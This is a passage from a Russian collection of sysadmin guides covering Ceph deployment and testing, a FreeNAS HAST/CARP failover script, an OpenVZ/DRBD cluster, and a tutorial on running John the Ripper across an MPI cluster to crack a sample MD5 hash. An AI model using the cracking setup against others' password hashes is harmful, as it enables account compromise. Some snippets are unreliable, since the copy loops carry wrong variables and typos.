  • Займёмся osd ssh osd01 прогоним все диски parted -s /dev/sdj mklabel gpt почистим диски /usr/sbin/ceph-volume zap /dev/sdh ................ /usr/sbin/ceph-volume zap /dev/sdo и повторим то же на OSD02 вернёмся на инсталлиционый сервер и для теста создадим пару OSD с двух OSD серверов можно ещё раз проделать это с инсталляционного сервера ceph-deploy disk zap osd01:sdh ceph-deploy disk zap osd02:sdh ceph-deploy disk zap osd01:sdi ceph-deploy disk zap osd02:sdi
  • /dev/sdh это HDD OSD01
  • /dev/sdh это HDD OSD02
  • /dev/sdi это SSD OSD01
  • /dev/sdi это SSD OSD02 напомним, версия ФАЙЛОВАЯ и журналы на SSD без параметров, создаётся bluestore ceph-deploy osd create --filestore --data /dev/sdh --journal /dev/sdi osd01 ceph-deploy osd create --filestore --data /dev/sdh --journal /dev/sdi osd02
  • Убедимся что все верно ceph-deploy osd list osd01 ceph-deploy osd list osd02 клиент предупредил, что тестировать будет и нужно минимум 4 диска ну 4 так 4 проделал с остальными тоже самое в итоге 4 диска ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 352.22583 root default -7 176.11292 host osd01 0 hdd 7.27739 osd.0 up 1.00000 1.00000 1 hdd 7.27739 osd.1 up 1.00000 1.00000 2 hdd 7.27739 osd.2 up 1.00000 1.00000 3 hdd 7.27739 osd.3 up 1.00000 1.00000 0 ssd 0.36389 osd.0 up 1.00000 1.00000 1 ssd 0.36389 osd.1 up 1.00000 1.00000 2 ssd 0.36389 osd.2 up 1.00000 1.00000 3 ssd 0.36389 osd.3 up 1.00000 1.00000 -7 176.11292 host osd02 0 hdd 7.27739 osd.0 up 1.00000 1.00000 1 hdd 7.27739 osd.1 up 1.00000 1.00000 2 hdd 7.27739 osd.2 up 1.00000 1.00000 3 hdd 7.27739 osd.3 up 1.00000 1.00000 0 ssd 0.36389 osd.0 up 1.00000 1.00000 1 ssd 0.36389 osd.1 up 1.00000 1.00000 2 ssd 0.36389 osd.2 up 1.00000 1.00000 3 ssd 0.36389 osd.3 up 1.00000 1.00000 Видно что SSD нормально определился напомню, что проблема с правкой крушмапа осталась в версии до 12.x.x. далее подготовим pg ceph osd crush rule create-replicated hdd default host hdd ceph osd pool create hdd-rbd 512 ceph osd pool set hdd-rbd crush_rule hdd для тестов подойдёт и не забываем что на SSD у нас журналы и за ними надо следить !! подготовим для теста RBD rbd create --size 1T --image-feature layering,exclusive-lock --image hdd-rbd/test --image-feature именно такие так как будем использовать ядерный модуль, а с другими параметрами он не цепляется Дополним cat /etc/ceph/rbdmap hdd-rbd/test id=admin,keyring=/etc/ceph/ceph.client.admin.keyring и примонтируем rbdmap map проверим ls /dev/rbd/hdd-rbd/test /dev/rbd/hdd-rbd/test и появилось у нас новое устройство /dev/rbd0 померим hdparm -Tt /dev/rbd0 /dev/rbd0: Timing cached reads: 8226 MB in 2.00 seconds = 4122.93 MB/sec Timing buffered disk reads: 1636 MB in 3.00 seconds = 545.21 MB/sec dd if=/dev/zero of=/dev/rbd0 bs=1G count=1 oflag=direct 1+0 records in 1+0 records out 1073741824 bytes (1,1 GB, 1,0 GiB) copied, 10,0574 s, 107 MB/s попробуем, что скажет fio fio --name=writefile --size=1G --filesize=1G --filename=/dev/rbd0 --bs=1M --nrfiles=1 \ --direct=1 --sync=0 --randrepeat=0 --rw=write --refill_buffers --end_fsync=1 --iodepth=200 --ioengine=libaio writefile: (g=0): rw=write, bs=(R) 1024KiB-1024KiB, (W) 1024KiB- 1024KiB, (T) 1024KiB-1024KiB, ioengine=libaio, iodepth=200 fio-3.1 Starting 1 process Jobs: 1 (f=1): [W(1)][83.3%][r=0KiB/s,w=20.0MiB/s][r=0,w=20 IOPS][eta 00m:02s] writefile: (groupid=0, jobs=1): err= 0: pid=6404: Thu Aug 9 19:50:56 2018 write: IOPS=109, BW=110MiB/s (115MB/s)(1024MiB/9320msec) ну и случайное fio --time_based --name=benchmark --size=1G --runtime=30 --filename=/dev/rbd0 --ioengine=libaio \ --randrepeat=0 --iodepth=128 --direct=1 --invalidate=1 --verify=0 --verify_fatal=0 --numjobs=4 \ --rw=randwrite --blocksize=4k --group_reporting benchmark: (g=0): rw=randwrite, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=libaio, iodepth=128 ... fio-3.1 Starting 4 processes Jobs: 4 (f=4): [w(4)][100.0%][r=0KiB/s,w=80.2MiB/s][r=0,w=20.5k IOPS][eta 00m:00s] benchmark: (groupid=0, jobs=4): err= 0: pid=6411: Thu Aug 9 19:53:37 2018 write: IOPS=19.8k, BW=77.2MiB/s (80.9MB/s)(2315MiB/30006msec) slat (usec): min=4, max=199825, avg=193.15, stdev=1838.51 clat (msec): min=3, max=1348, avg=25.70, stdev=28.44 lat (msec): min=3, max=1349, avg=25.89, stdev=28.54 clat percentiles (msec): | 1.00th=[ 12], 5.00th=[ 14], 10.00th=[ 16], 20.00th=[ 17], | 30.00th=[ 19], 40.00th=[ 20], 50.00th=[ 21], 60.00th=[ 22], | 70.00th=[ 24], 80.00th=[ 26], 90.00th=[ 30], 95.00th=[ 41], | 99.00th=[ 155], 99.50th=[ 169], 99.90th=[ 363], 99.95th=[ 401], | 99.99th=[ 827] bw ( KiB/s): min= 4444, max=26995, per=25.07%, avg=19805.94, stdev=5061.73, samples=240 iops : min= 1111, max= 6748, avg=4951.28, stdev=1265.42, samples=240 lat (msec) : 4=0.01%, 10=0.30%, 20=44.53%, 50=51.12%, 100=1.34% lat (msec) : 250=2.50%, 500=0.18%, 750=0.01%, 1000=0.01%, 2000=0.01% cpu : usr=3.38%, sys=5.67%, ctx=75740, majf=0, minf=37 IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0% submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.1% issued rwt: total=0,592666,0, short=0,0,0, dropped=0,0,0 latency : target=0, window=0, percentile=100.00%, depth=128 Run status group 0 (all jobs): WRITE: bw=77.2MiB/s (80.9MB/s), 77.2MiB/s-77.2MiB/s (80.9MB/s-80.9MB/s), io=2315MiB (2428MB), run=30006-30006msec Disk stats (read/write): rbd0: ios=0/589859, merge=0/0, ticks=0/3725372, in_queue=3594988, util=100.00% также любезный Себастьян написал красивые вещи:
  • https://www.sebastien-han.fr/blog/2012/08/26/ceph-benchmarks/
  • https://www.sebastien-han.fr/blog/2013/10/03/quick-analysis-of-the-ceph-io-layer/ Кластер нужен на запись, поэтому основные тесты на запись. Остался доволен и отдал для теста заказчику Утром след дня заказчик заявил, что я неверно все сделал!!! ???????!!!!!! захожу и вижу cluster: id: 6dae468a-ac29-4cc6-a3e1-7b2a7247eb5b health: HEALTH_ERR 6 osds down 1 host (6 osds) down 5 scrub errors Possible data damage: 4 pgs inconsistent Degraded data redundancy: 2423/4847 objects degraded (50.000%), 2560 pgs degraded, 2560 pgs undersized clock skew detected on mon.mon03 1/3 mons down, quorum mon01,mon03 services: mon: 3 daemons, quorum mon01,mon03, out of quorum: mon02 mgr: mgr02(active), standbys: mgr03, mgr01 osd: 12 osds: 6 up, 12 in ceph health detail HEALTH_ERR 5 scrub errors; Possible data damage: 4 pgs inconsistent OSD_SCRUB_ERRORS 5 scrub errors PG_DAMAGED Possible data damage: 4 pgs inconsistent pg 1.14 is active+clean+inconsistent, acting [12,34] pg 1.27b is active+clean+inconsistent, acting [46,20] pg 1.683 is active+clean+inconsistent, acting [20,34] pg 1.728 is active+clean+inconsistent, acting [49,6] ну ладно попробуем восстановить root@ceph-deploy:~# ceph pg repair 1.728 instructing pg 1.728 on osd.4 to repair .................. instructing pg 1.14 on osd.2 to repair Тем временем задаю вопросы. Выяснилось, заказчик взял и переставил 2 ssd и 2 HDD с другого сервера, а затем отключил 1 OSD. Вспомнив, что на SSD журналы слал думать что можно сделать. Заодно спросил чем 3-й монитор не угодил? На что получил ответ, что все это для теста и нужно проверить все. Так похоже что FileStore мало подходит Пробуем с Blustore Blustore оказался более пригоден и более живуч для исправления ошибок написал скрипт cat /root/rep.sh #!/bin/sh /usr/bin/ceph health detail | grep active+clean+inconsistent | awk '{ print $2 }' | while read a; do /usr/bin/ceph pg repair $a ; done который стартую по крону */10 * * * * /root/rep.sh
  •  
    ----* Создание отказоустойчивого хранилища на базе FreeBSD или FreeNAS с использованием ZFS, HAST и CARP (доп. ссылка 1)   [комментарии]
     
    Начиная с FreeBSD 8.1 в состав включена поддержка системы репликации устройств
    хранения данных HAST (Highly Avalable STorage), позволяющей создавать
    высоконадежные конфигурации, в которых данные синхронизированы между
    несколькими узлами. HAST реализован в виде работающего на уровне пользователя
    демона hastd, использующего стандартный класс GEOM Gate для обработки запросов
    ввода/вывода. Hastd, обеспечивает синхронную репликацию блочных устройств
    поверх TCP/IP сетей, независимо от типа накопителя и файловой системы. HAST
    предусматривает возможность быстрого восстановления после сбоя, причём, при
    выходе из строя первичного master-узла, его функции могут быть делегированы
    slave-узлу. После проверки и монтирования UFS раздела или импорта ZFS пула на
    поврежденном узле, система автоматически синхронизирует внесенные за время
    восстановления изменения и продолжит работу без потери данных.
    
    Для быстрого развёртывания хранилищ удобно использовать дистрибутив FreeNAS. К
    сожалению в настоящее время FreeNAS не поддерживает HAST из коробки, но так как
    во FreeNAS используются стандартные компоненты FreeBSD 8.x, ни что не мешает
    самостоятельно вручную создать и надстроить работу подобных хранилищ.
    
    После первой загрузки FreeNAS настроим параметры сетевого доступа и DNS. Первый
    узел freenas1 будет иметь IP 192.168.137.31, а второй freenas2 -
    192.168.137.32. После первичной типовой настройки подключимся к shell.
    
    
    Настройка узла HAST
    
    Перемонтируем корневой раздел для обеспечения возможности записи:
    
      mount -uw /
     
    Создадим массив хранения RAID3 из дисков da1, da2, da3.
    
       graid3 label gr0raid3 da1 da2 da3
    
    В итоге будет создано устройство /dev/raid3/gr0raid3
     
    Включим поддержку CARP и активируем демон hastd:
    
       cat <<EOF >> /conf/base/etc/rc.conf
       ifconfig carp0 create
       ifconfig carp0 vhid 1 pass freenashast 192.168.137.30/24
       # enable HAST daemon
       hastd_enable="YES"
       EOF
     
    Если в директории  /boot/kerneldaemon отсутствует модуль if_carp.ko, скопируем
    его из системы на базе FreeBSD 8.2 или 8.3.
    
    Создадим файл конфигурации hast.conf, в котором определим /dev/raid3/gr0raid3 в
    качестве синхронизируемого между узлами хранилища:
    
       cat <<EOF > /conf/base/etc/hast.conf
       resource freenashast {
            on freenas1 {
                    local /dev/raid3/gr0raid3
                    remote freenas2
            }
            on freenas2 {
                    local /dev/raid3/gr0raid3
                    remote freenas1
            }
       }
       EOF
     
    Копируем hast.conf в директорию /etc и перезагружаем систему:
    
       cp /conf/base/etc/hast.conf /etc
     
    Создаём хранилище hast:
    
       hastctl create freenashast
     
    После появления устройства /dev/hast/freenashast назначаем текущему узлу роль первичной системы:
    
       hastctl role primary freenashast
     
    Создаём zpool в хранилище freenashast
    
       zpool create -m /mnt gr0 /dev/hast/freenashast
    
    Создаём символическую ссылку на директорию RAID3, чтобы web-интерфейс FreeNAS
    распознал вручную созданное хранилище:
    
       ln -s /dev/hast/freenashast /dev/raid3/gr1raid3
     
    После этого в GUI FreeNAS можно автоматически импортировать раздел gr0 и
    настроить совместный доступ  с использованием штатного web-интерфейса.
    
     
    Настроим демон devd для переключения HAST из режима master в slave и наоборот в
    зависимости от состояния сетевого линка:
    
       cat <<EOF >> /conf/base/etc/devd.conf
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_UP";
            action "/usr/local/sbin/carp-hast-switch master";
       };
     
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_DOWN";
            action "/usr/local/sbin/carp-hast-switch slave";
       };
       EOF
     
    Создадим скрипт hast-carp-switch, который будет выполнять переключение режимов:
    
       cat <<EOF > /usr/local/sbin/carp-hast-switch
    
       #!/bin/sh
       resources="freenashast"
       zfspool="gr0"
       delay=3
       log="local0.debug"
       name="carp-hast"
     
       case "$1" in
            master)
                    logger -p $log -t $name "Switching to primary provider for $resources."
                    # in order to wait for the original primary provider to change role state
                    # otherwise, brain-split may happen
                    sleep $delay
                    for disk in $resources; do
                            # ensure that this storage can be switched                        
                            while $(pgrep -lf "hastd: $disk \\(secondary\\)" > /dev/null 2>&1 ); do
                                    sleep 1
                            done
     
                            # Switch role for each disk
                            hastctl role primary $disk
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to change role to primary for resouce ${disk}."
                                    exit 1
                            fi
                    done
     
                    # Wait for the /dev/hast/* devices to appear
                    for disk in $resources; do
                            for I in $(jot 60); do
                                    [ -c "/dev/hast/${disk}" ] && break
                                    sleep 0.5
                            done
                            if [ ! -c "/dev/hast/${disk}" ] ; then
                                    logger -p $log -t $name "GEOM provider /dev/hast/$disk did not appear."
                                    exit 1
                            fi
                    done
     
                    logger -p $log -t $name "Role for HAST resources switched to primary."
     
                    logger -p $log -t $name "Importing ZFS pool."
                    zpool import -f $zfspool
     
                    # restart the enabled services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba restart
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk restart
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd restart
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd restart
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver restart
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd restart
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd restart
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd restart
                                            ;;
                             esac
                  done
     
                    ;;
     
            slave)
                    logger -p $log -t $name "Switching to secondary provider for $resources."
                    # stop the running services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba stop
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk stop
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd stop
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd stop
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver stop
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd stop
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd stop
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd stop
                                            ;;
                           esac
                    done
     
                    # export the zfs pool & change role to slave
                    for disk in $resources; do
                            zpool export -f $zfspool
                            sleep $delay
                            hastctl role secondary $disk 2>&1
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to switch role to secondary for resource $disk."
                                    exit 1
                            fi
                            logger -p $log -t name "Role switched to secondary for resource $disk"
                    done
                    ;;
            *)
                    logger -p $log -t $name "Usage: $0 "
                    exit 1
                    ;;
       esac
    
    Поменяем права доступа и перезагрузим систему: 
    
       chmod +x /usr/local/sbin/carp-hast-switch
       reboot
    
    После перезагрузки вручную установим первичный режим HAST для созданного хранилища:
    
       hastctl role primary freenashast
    
    Выше представленная инструкция рассчитана на создание master-узла. Для
    запасного slave-узла, который возьмёт на себя управление в случае сбоя
    первичного узла, настойка выполняется аналогично, за одним исключением - для
    интерфейса carp0 должен быть установлен меньший приоритет, чем на master-узле:
    
       ifconfig carp0 vhid 1 pass freenashast advskew 100 192.168.137.30/24
    
     
    ----* Запуск John the Ripper в MPI-кластере на базе Ubuntu 10.04 (доп. ссылка 1)   [комментарии]
     
    Инструкция по превращению нескольких компьютеров в MPI-кластер и последующем
    запуске в этом кластере John the Ripper с целью организации эксперимента по
    распределенному подбору значений, соответствующих заданному хэшу (например, для
    проверки своих паролей на надежность). Руководство носит упрощенный характер и
    не охватывает некоторых вопросов по обеспечению высокой надежности и
    безопасности, рассматривая процесс создания кластера как проводимый в
    академических целях эксперимент.
    
    Для создания кластера нам понадобиться как минимум два компьютера, работающих
    под управлением  Ubuntu Linux 10.04. Для соединения машин будет достаточно
    любых сетевых карт,  John the Ripper не требует большой пропускной способности.
    
    
    Настройка сервера.
    
    Для работы кластера нам потребуются следующие пакеты c реализацией MPI Message Passing Interface:
    
       $ sudo apt-get install libmpich1.0-dev libmpich-mpd1.0-dev libmpich-shmem1.0-dev mpich2 mpich2-doc 
    
    Дополнительно, установим John the Ripper, OpenSSH и комплект для сборки из исходных текстов:
    
       $ sudo apt-get install john openssh-server build-essentials
    
    
    Для упрощения настройки заносим IP и имя текущего хоста в /etc/hosts
    
       127.0.0.1 localhost
       10.0.0.1 server1.test.ru server1
    
    Создаем в системе пользователя "cluster" и создаем каталог bin в домашней
    директории этого пользователя:
    
       $ sudo useradd -m -s /bin/bash cluster
       $ sudo passwd cluster
    
       $ sudo su - cluster -c "mkdir ~/bin;export PATH=~/bin:$PATH"
    
    
    Настраиваем MPICH
    
    Создаем в домашней директории пользователя  cluster конфигурационный файл
    ~/.mpd.conf с настройками аутентификации для MPI-кластера.
    Записываем в файл ~/.mpd.conf строку "secretword=пароль", где пароль для
    аутентификации всех узлов кластера.
    
    
    Правим права доступа:
       $ chmod 600 ~/.mpd.conf
    
    Список узлов кластера, включая текущий сервер, перечисляем в файле ~/mpd.hosts.
    Формат строки файла "хост:число процессоров", т.е. для четырехядерного сервера
    c IP 10.0.0.2 указываем "10.0.0.2:4". Все IP должны быть доступны по сети, т.е.
    127.0.0.1 для локального узла указывать нельзя.
    
    Итоговый процесс настройки MPICH выглядит следующим образом:
    
       $ touch ~/.mpd.conf
       $ chmod 600 ~/.mpd.conf
       $ echo secretword=pass>~/.mpd.conf
       $ /sbin/ifconfig|grep "inet addr" # смотрим IP на хостах
    
       inet addr:10.0.0.1 Bcast:10.255.255.255 Mask:255.0.0.0
       inet addr:127.0.0.1 Mask:255.0.0.0
    
       $ cat /proc/cpuinfo|grep processor|wc -l # смотрим число ядер CPU
    
       1
    
       $ echo "10.0.0.1:1" >> ~/mpd.hosts
    
    Запускаем кластер:
    
       $ mpdboot
    
    Просматриваем список узлов кластера:
    
       $ mpdtrace
    
    Завершаем работу кластера:
    
       $ mpdallexit
    
    
    Установка John the Ripper
    
    Исходные тексты версии John the Ripper с дополнительными MPI-патчами можно
    загрузить на странице http://www.bindshell.net/tools/johntheripper
    
    Загружаем код:
    
       $ mkdir source
       $ cd source
       $ wget http://www.bindshell.net/tools/johntheripper/john-1.7.2-bp17-mpi8.tar.gz
    
    Распаковываем архив и выполняем сборку:
    
       $ tar -zxf john-1.7.2-bp17-mpi8.tar.gz
       $ cd john-1.7.2-bp17-mpi8/src/
       $ make # будет выведен список опций
       $ make linux-x86-sse2
    
    где вместо linux-x86-sse2 можно указать другой тип системы:
    
       linux-x86-mmx Linux, x86 с MMX
       linux-x86-sse Linux, x86 с SSE2 (лучший выбор)
       linux-x86-any Linux, x86
       linux-x86-64 Linux, AMD x86-64, 64-bit/SSE2 (лучший выбор)
       linux-x86-64-mmx Linux, AMD x86-64, 32-bit с MMX
    
    
    Проверяем работу собранной программы:
    
       $ ../run/john -format=DES -test
    
       Benchmarking: Traditional DES [128/128 BS SSE2]... DONE
       Many salts: 1994K c/s real, 1994K c/s virtual
       Only one salt: 1658 c/s real, 1654K c/s virtual
    
    Копируем исполняемый файл в директорию ~/bin
    
       $ mv ../run/* ~/bin
    
    Проверяем, что John the Ripper собран с поддержкой MPI:
    
       $ john|grep mpi
    
       John the Ripper password cracker, version 1.7.2_bp17_mpi
    
    
    Повторяем все ранее описанные шаги на всех узлах кластера.
    
    Настраиваем беспарольный вход по SSH для пользователя cluster для всех узлов кластера.
    
    Генерируем rsa-ключ:
    
       $ ssh-keygen -t rsa
    
    Копируем ключ на другие узлы кластера:
    
       $ ssh cluster@10.0.0.2 mkdir -p .ssh
       $ cat .ssh/id_rsa.pub | ssh cluster@10.0.0.2 'cat>>.ssh/authorized_keys'
    
    Добавляем параметры узла в ~/mpd.hosts и создаем ~/.mpd.conf и ~/mpd.hosts на удаленных узлах:
    
       $ ssh cluster@10.0.0.2 'cat /proc/cpuinfo|grep processor|wc -l'
       2
       $ echo 10.0.0.2:2 >> ~/mpd.hosts
       $ for i in `cut --delimiter=: -f1 ~/mpd.hosts`;do scp ~/.mpd.conf cluster@$i:~; scp ~/mpd.hosts cluster@$i:~; done
    
    Добавляем в /etc/hosts имя дополнительного узла:
    
       10.0.0.2 node1
    
    Синхронизируем содержимое /etc/hosts на всех узлах.
    Если этого не сделать возникнет ошибка:
    
       mpdboot_server (handle_mpd_output 407): failed to handshake with mpd on 10.0.0.2; recvd
    
    Запускаем кластер:
    
       $ mpdboot --verbose --ncpus=1 -n 2
    
       running mpdallexit on server
       LAUNCHED mpd on server via
       RUNNING: mpd on server
       LAUCNHED mpd on 10.0.0.2 via server
       RUNNING: mpd on 10.0.0.2
    
    где, --verbose - вывод расширенной информации, а "--ncpus=1" - задаем число CPU
    для текущего сервера, "-n 2" - указываем, что в кластере 2 узла (текущий сервер
    10.0.0.1 + внешний узел 10.0.0.2).
    
    На втором узле 10.0.0.2 MPICH будет запущен автоматически.
    
    Смотрим список активных узлов:
    
       $ mpdtrace
       server
       node1
    
    
    Для тестирования, запустим команду hostname на всех узлах:
    
       $ mpiexec -np 3 hostname
    
       server
       node1
       node1
    
    node1 - вывелось два раза так как к узлу привязано 2 CPU и задача была выполнена два раза.
    
    Завершаем работу кластера:
    
       $ mpdallexit
       Using the MPI cluster to crack passwords.
    
    Попробуем подобрать значение для MD5-хэша:
    
       $ echo fb7852f240efac3c0bdce8cf9dcb2e50 > crackme1.md5
    
    Запускаем кластер:
    
       $ mpdboot --ncpus=2 -n 2
    
    Копируем файл crackme1.md5 на все узлы:
    
       $ for i in `cut --delimiter=: -f1 ~/mpd.hosts`;do scp ~/crackme1.mp5
    cluster@$1:~;done
    
    Чтобы упросить процесс копирования на все узлы кластера напишем простой скрипт  distributer.sh:
    
       #!/bin/bash
    
       # usage: ./distributer.sh filename
    
       for x in `cut --delimiter=: -f1 ~/mpd.hosts`;do scp $1 cluster@$i:~;done
    
    Запускаем John the Ripper на 3 CPU:
    
       $ mpiexec -np 3 john --format:raw-MD5 crackme1.md5
    
       Loaded 1 password hash (Raw MD5 [raw-md5 SSE2])
       Loaded 1 password hash (Raw MD5 [raw-md5 SSE2])
       Loaded 1 password hash (Raw MD5 [raw-md5 SSE2])
    
       test1 (user)
    
    Process 2 completed loop.
    
    Threat: 2 guesses: 1 time 0:00:00:02 (3) c/s: 5616K trying: 12345 - 56778
    
    После завершения подбора завершаем работу кластера:
    
       $ mpdallexit
    
     
    ----* Отказоустойчивый кластер на базе OpenVZ, DRBD и Heartbeat 2   Автор: Максим Зиналь  [комментарии]
     
    Постановка задачи и общее описание решения 
    
    Совместное применение технологий Linux Heartbeat, DRBD и OpenVZ позволяет
    создавать удобные в эксплуатации решения, обеспечивающие повышенную надёжность
    функционирования важных для пользователей сервисов. Несмотря на доступность
    большого количества материалов по технологиям построения отказоустойчивых
    решений на базе ОС Linux, автору данной статьи не удалось отыскать полного и
    исчерпывающего описания процесса создания системы, основанной на сочетании
    использования перечисленных выше технологий. Данная статья описывает результаты
    практической апробации отказоустойчивого решения, осуществляющего
    автоматическую миграцию виртуальных окружений OpenVZ на резервный узел кластера
    при нарушении функционирования основного узла.
    
    Рассматриваем пример развёртывания приложения, использующего базу данных
    (PostgreSQL) и развёртываемого на базе сервера приложений (Tomcat). В качестве
    базовой операционной системы используем Debian GNU/Linux 5.0 (Lenny).
    
    Предполагаем, что приложение не поддерживает кластерный режим работы (не может
    функционировать одновременно на нескольких узлах). Для обеспечения
    отказоустойчивого функционирования используем два идентичных сервера, на одном
    из которых в нормальном режиме функционируют необходимые базы данных, на другом
    - сервер приложений. Взаимодействие между базами данных и приложениями
    осуществляется через сеть TCP/IP.
    
    Для установки сервера СУБД и сервера приложений создаем отдельные виртуальные
    OpenVZ-окружения. Конфигурация виртуальных окружений и физических серверов
    подбирается таким образом, чтобы на одном физическом сервере при необходимости
    могли одновременно функционировать как сервер СУБД, так и сервер приложений
    (возможно, со сниженной производительностью).
    
    Для обеспечения функционирования OpenVZ при использовании 32-битной версии
    Debian GNU/Linux физические сервера должны поддерживать технологию PAE
    (Physical Address Extension). Если вместо физических серверов используются
    виртуальные машины VirtualBox, требуется включить соответствующий режим в
    настройках виртуальной машины.
    
    Для синхронизации данных, хранящихся на физических серверах, используем DRBD в
    режиме master-slave. На физических серверах создаем два DRBD-раздела (один для
    сервера приложений, другой для сервера СУБД), причём в нормальном режиме
    функционирования на каждом из серверов в режиме master находится только один из DRBD-разделов.
    
    Для контроля доступности серверов кластера и переключения на резервный узел при
    отказе основного узла используем Heartbeat.
    Создаваемый в результате кластер обеспечивает автоматическую миграцию ресурсов
    с вышедшего из строя узла кластера на оставшийся работоспособным узел.
    Поскольку ни используемая СУБД, ни приложения не поддерживают кластерный режим
    работы, неизбежно возникает приостановка предоставления сервисов на период
    миграции ресурсов с остановленного узла кластера на работающий.
    Продолжительность периода приостановки сервисов зависит от времени запуска
    мигрируемых сервисов после сбоя, из практических соображений в нашем примере
    получается, что этот период будет менее 1 минуты.
    
    Необходимые первоначальные знания и навыки 
    
    1.Работа с инсталлятором системы Debian/GNU Linux 5.0, в частности, с модулем
    разметки дисков. Умение установить и настроить базовую систему.
    
    2.Установка и удаление пакетов Debian с использованием программы aptitude.
    Настройка исходных репозиториев для установки и обновления программ (/etc/apt/sources).
    
    3.Понимание принципов работы LVM, навыки настройки и применения LVM (http://tldp.org/HOWTO/LVM-HOWTO/).
    
    4.Понимание принципов работы OpenVZ (http://www.openvz.org/). Навыки настройки
    окружений OpenVZ и работы с ними.
    
    5.Общее понимание принципов организации отказоустойчивых кластеров (контроль
    доступности, синхронизация данных, миграция ресурсов, потеря синхронизации -
    "brain split").
    
    6.Понимание принципов работы DRBD 8 (http://www.drbd.org/). 
    
    7.Понимание принципов работы Heartbeat 2 (http://linux-ha.org/wiki/Heartbeat). 
    
    
    Установка базовой системы 
    
    Для установки базовой системы может использоваться дистрибутивный комплект
    Debian GNU/Linux 5.0. При установке для удобства дальнейшей работы выполним
    русификацию системы, а вот от установки группы пакетов "Стандартная система"
    откажемся - большая часть пакетов из этой группы нам не понадобится.
    
    Установку системы на обоих узлах выполняем идентичным образом, различаются
    только имя узла и сетевые настройки. В данном примере использовались параметры,
    приведённые в таблице.
    
       Параметр   Узел 1         Узел 2 
       Имя узла   deimos         phobos 
       IP-адрес   192.168.5.101  192.168.5.102 
    
    Для разметки дисков используем комбинацию обычных разделов и LVM. Для корневой
    файловой системы (совмещённой с файловой системой /boot) создаем обычный раздел
    &#8470;1 размером 4 Гбайт (этого более, чем достаточно для размещения
    необходимых компонентов), всё остальное пространство выделяем в раздел 2 и
    создаем на нем физический том LVM.
    Здесь предполагается, что к серверам подключено по одному диску (тому дискового
    массива), в случае наличия нескольких устройств следует особым образом
    спланировать порядок их использования.
    
    На основе созданного физического тома LVM создаем группу логических томов, в
    которой создаем том подкачки (размер зависит от размера оперативной памяти) и
    том для файловой системы /var (объёмом 2 Гбайт).
    
    Для корневой файловой системы и файловой системы /var используем файловую
    систему ext3, так как на нее меньше всего нареканий по части восстановления в
    аварийных ситуациях.
    
    После завершения установки необходимо убедиться в наличии связи между узлами
    кластера с помощью команды ping. Для обеспечения доступа к узлам кластера по
    именам рекомендуется прописать соответствие адресов именам в файле /etc/hosts.
    
    
    Установка дополнительных пакетов 
    
    Вместо установленной по умолчанию версии ядра необходимо установить ядро с поддержкой OpenVZ: 
    
       aptitude install linux-image-2.6-openvz-686
       aptitude remove linux-image-2.6-686
    
    Также необходимо установить модули DRBD8 и соответствующие управляющие программы: 
    
       aptitude install drbd8-modules-2.6-openvz-686 drbd8-utils
    
    
    Установка Heartbeat 2: 
    
       aptitude install heartbeat-2
    
    Для удобства работы устанавливаем mc, less, atop и ssh: 
    
       aptitude install mc atop ssh
    
    
    Настройка DRBD 
    
    На каждом узле будущего кластера необходимо создать по два тома: один для базы
    данных, другой - для сервера приложений.
    
    Размер томов следует выбирать исходя из планируемых потребностей базы данных и
    сервера приложений. В дальнейшем при необходимости можно будет расширить
    соответствующие тома. Поскольку заранее точно предсказать требуемое
    пространство (и его соотношение между потребителями) достаточно сложно,
    предпочтительно оставить в группе томов LVM достаточный объём свободного
    пространства, а виртуальным окружениям выделить тот объём, который будет
    необходим в ближайшее время.
    
    Пример команд создания томов LVM: 
    
       lvcreate -L 8G -n db VGroup00
       lvcreate -L 4G -n apps VGroup00
    
    Далее необходимо создать конфигурационный файл /etc/drbd.conf, определяющий
    состав дисковых ресурсов DRBD. Пример конфигурационного файла drbd.conf:
    
       global {
           usage-count no;
       }
    
       common {
         handlers {
           pri-on-incon-degr "echo o > /proc/sysrq-trigger ; halt -f";
           pri-lost-after-sb "echo o > /proc/sysrq-trigger ; halt -f";
           local-io-error "echo o > /proc/sysrq-trigger ; halt -f";
           outdate-peer "/usr/lib/heartbeat/drbd-peer-outdater -t 5";
           # pri-lost "echo pri-lost. Have a look at the log files. | mail -s 'DRBD Alert' root";
           # split-brain "echo split-brain. drbdadm -- --discard-my-data connect $DRBD_RESOURCE ? | mail -s 'DRBD Alert' root";
         }
    
        startup {
           # wfc-timeout  0;
